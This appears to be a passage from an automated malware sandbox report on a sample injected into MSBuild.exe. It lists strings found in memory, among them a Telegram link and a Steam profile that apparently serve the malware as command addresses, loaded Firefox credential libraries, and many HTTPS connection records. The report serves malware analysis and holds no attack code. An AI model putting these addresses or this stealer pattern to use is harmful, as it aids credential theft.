Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: HIJJDG.1.dr	String found in binary or memory: https://support.mozilla.org
Source: HIJJDG.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HIJJDG.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2759480099.00000000175EA000.00000004.00000020.00020000.00000000.sdmp, AKEBFC.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: AKEBFC.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2759480099.00000000175EA000.00000004.00000020.00020000.00000000.sdmp, AKEBFC.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: AKEBFC.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: file.exe, file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.
Source: MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: ECFHCG.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: ECFHCG.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HIJJDG.1.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2759480099.00000000175EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HIJJDG.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ost.exe
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2759480099.00000000175EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/DGCBGDBAEC
Source: HIJJDG.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2759480099.00000000175EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: HIJJDG.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: HIJJDG.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2759480099.00000000175EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: MSBuild.exe, 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: HIJJDG.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
